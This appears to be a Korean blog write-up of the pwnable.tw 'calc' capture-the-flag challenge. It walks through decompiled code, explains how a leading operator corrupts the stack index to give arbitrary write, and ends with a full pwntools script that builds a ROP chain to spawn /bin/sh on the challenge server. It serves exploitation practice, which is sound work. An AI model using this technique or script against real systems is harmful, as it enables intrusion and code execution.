시간 제한이 걸려있는 계산기다.
편의를 위해 변수 이름을 바꾸고 구조체를 만들었다.
00000000 pool_st struc ; (sizeof=0x194, mappedto_16)
00000000 ; XREF: calc/r
00000000 pool_idx dd ? ; XREF: calc+7D/r
00000004 buf dd 100 dup(?) ; XREF: calc+86/r
00000194 pool_st ends
00000194
메인 함수는 계산기 함수 calc를 호출해준다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(0xE, timeout);
alarm(0x3C);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}
계산식을 입력받아서 계산해주는 구조를 가지고 있다.
unsigned int calc()
{
pool_st pool; // [esp+18h] [ebp-5A0h] BYREF
char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int canary; // [esp+5ACh] [ebp-Ch]
canary = __readgsdword(0x14u);
while ( 1 )
{
bzero(expr, 0x400u);
if ( !get_expr(expr, 0x400) )
break;
init_pool(&pool);
if ( parse_expr(expr, &pool) )
{
printf("%d\n", pool.buf[pool.pool_idx - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ canary;
}
계산식에는 0~9까지와 연산 기호만 입력할 수 있게 되어 있다.
int __cdecl get_expr(char *expr_1, int size)
{
int idx_; // eax
char expr; // [esp+1Bh] [ebp-Dh] BYREF
int idx; // [esp+1Ch] [ebp-Ch]
idx = 0;
while ( idx < size && read(0, (int)&expr, 1) != 0xFFFFFFFF && expr != '\n' )
{
if ( expr == '+' || expr == '-' || expr == '*' || expr == '/' || expr == '%' || expr > 0x2F && expr <= 0x39 )
{
idx_ = idx++;
expr_1[idx_] = expr;
}
}
expr_1[idx] = 0;
return idx;
}
pool은 임시 버퍼로 할용되는 것 같은데 계산할 때 마다 초기화해준다.
pool_st *__cdecl init_pool(pool_st *pool)
{
pool_st *result; // eax
int idx; // [esp+Ch] [ebp-4h]
result = pool;
pool->pool_idx = 0;
for ( idx = 0; idx <= 0x63; ++idx )
{
result = pool;
pool->buf[idx] = 0;
}
return result;
}
계산식을 해석해서 계산하는 함수를 호출해주는 함수다.
int __cdecl parse_expr(char *expr1, pool_st *pool)
{
int pool_idx; // eax
char *expr2; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int idx; // [esp+28h] [ebp-80h]
char *size; // [esp+2Ch] [ebp-7Ch]
char *op; // [esp+30h] [ebp-78h]
int op_num; // [esp+34h] [ebp-74h]
char expr_result[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int canary; // [esp+9Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
expr2 = expr1;
idx = 0;
bzero(expr_result, 0x64u);
for ( i = 0; ; ++i )
{
// not number
if ( (unsigned int)(expr1[i] - 0x30) > 9 )
{
size = (char *)(&expr1[i] - expr2);
op = (char *)malloc(size + 1);
memcpy(op, expr2, size);
op[(_DWORD)size] = 0;
if ( !strcmp(op, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
op_num = atoi(op);
if ( op_num > 0 )
{
pool_idx = pool->pool_idx++;
pool->buf[pool_idx] = op_num;
}
if ( expr1[i] && expr1[i + 1] - (unsigned int)'0' > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
expr2 = &expr1[i + 1];
if ( expr_result[idx] )
{
switch ( expr1[i] )
{
case '%':
case '*':
case '/':
if ( expr_result[idx] != '+' && expr_result[idx] != '-' )
goto LABEL_14;
expr_result[++idx] = expr1[i];
break;
case '+':
case '-':
LABEL_14:
eval(pool, expr_result[idx]);
expr_result[idx] = expr1[i];
break;
default:
eval(pool, expr_result[idx--]);
break;
}
}
else
{
expr_result[idx] = expr1[i];
}
if ( !expr1[i] )
break;
}
}
while ( idx >= 0 )
eval(pool, expr_result[idx--]);
return 1;
}
실제 계산을 수행하는 함수다.
pool_st *__cdecl eval(pool_st *pool, char expr)
{
pool_st *result; // eax
if ( expr == '+' )
{
pool->buf[pool->pool_idx - 2] += pool->buf[pool->pool_idx - 1];
}
else if ( expr > '+' )
{
if ( expr == '-' )
{
pool->buf[pool->pool_idx - 2] -= pool->buf[pool->pool_idx - 1];
}
else if ( expr == '/' )
{
pool->buf[pool->pool_idx - 2] /= pool->buf[pool->pool_idx - 1];
}
}
else if ( expr == '*' )
{
pool->buf[pool->pool_idx - 2] *= pool->buf[pool->pool_idx - 1];
}
result = pool;
--pool->pool_idx;
return result;
}
parse_expr 함수를 보면 op_num과 0을 signed로 비교한다.
if ( op_num > 0 )
{
pool_idx = pool->pool_idx++;
pool->buf[pool_idx] = op_num;
}
맨 앞에 숫자가 아닌 연산 기호를 쓰게 되면
pool_idx를 바꿀 수 있고 AAW를 할 수 있게 된다.
그걸 이용해서 pool 영역 아래에 rop 페이로드를 작성하고 해당 주소로 점프하도록 만들면 된다.
pool 영역은 계속해서 초기화되기 때문에 pool 영역 아래에 페이로드를 작성했어야 했다.
(32비트이므로 syscall이 아닌 int 0x80을 사용)
from pwn import *
context.log_level = 'debug'
# p = process('./calc')
p = remote('chall.pwnable.tw', 10100)
p.recvline()
pay = b'-8'
p.sendline(pay)
binsh = (int(p.recvline().decode(),10) + 0x320) & 0xffffffff
print('[binsh]',hex(binsh))
# /bin/sh
pay = b'+560+'+str(0x6e69622f).encode()
p.sendline(pay)
p.recvline()
pay = b'+561-'+str(0x6e69622f-0x0068732f).encode()
p.sendline(pay)
p.recvline()
# pop eax
pay = b'+569+'+str(0x0805c34b).encode()
p.sendline(pay)
p.recvline()
pay = b'+570-'+str(0x0805c34b-0xb).encode()
p.sendline(pay)
p.recvline()
# pop edx ; pop ecx ; pop ebx ; ret
pay = b'+571+'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()
pay = b'+572-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()
pay = b'+573-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()
pay = b'+574-'+str(0x100000000-binsh+(0x080701d0-0x0805c34b+0xb)).encode()
p.sendline(pay)
p.recvline()
# int 0x80
pay = b'+575+'+str(0x08049a21 - ((0x100000000-binsh)+(0x080701d0-0x0805c34b+0xb))).encode()
p.sendline(pay)
p.recvline()
# eip control
# 0x080493f2
# add esp, 8ECh
pay = b'-7+55851'
p.sendline(pay)
p.interactive()
'''
/bin/sh
6e69622f 1852400175
0068732f 6845231
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
0x08056E1D : add esp, 8ECh
'''
'write-up(pwn) > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] orw write-up (0) | 2024.08.19 |
---|---|
[pwnable.tw] start write-up (0) | 2024.08.16 |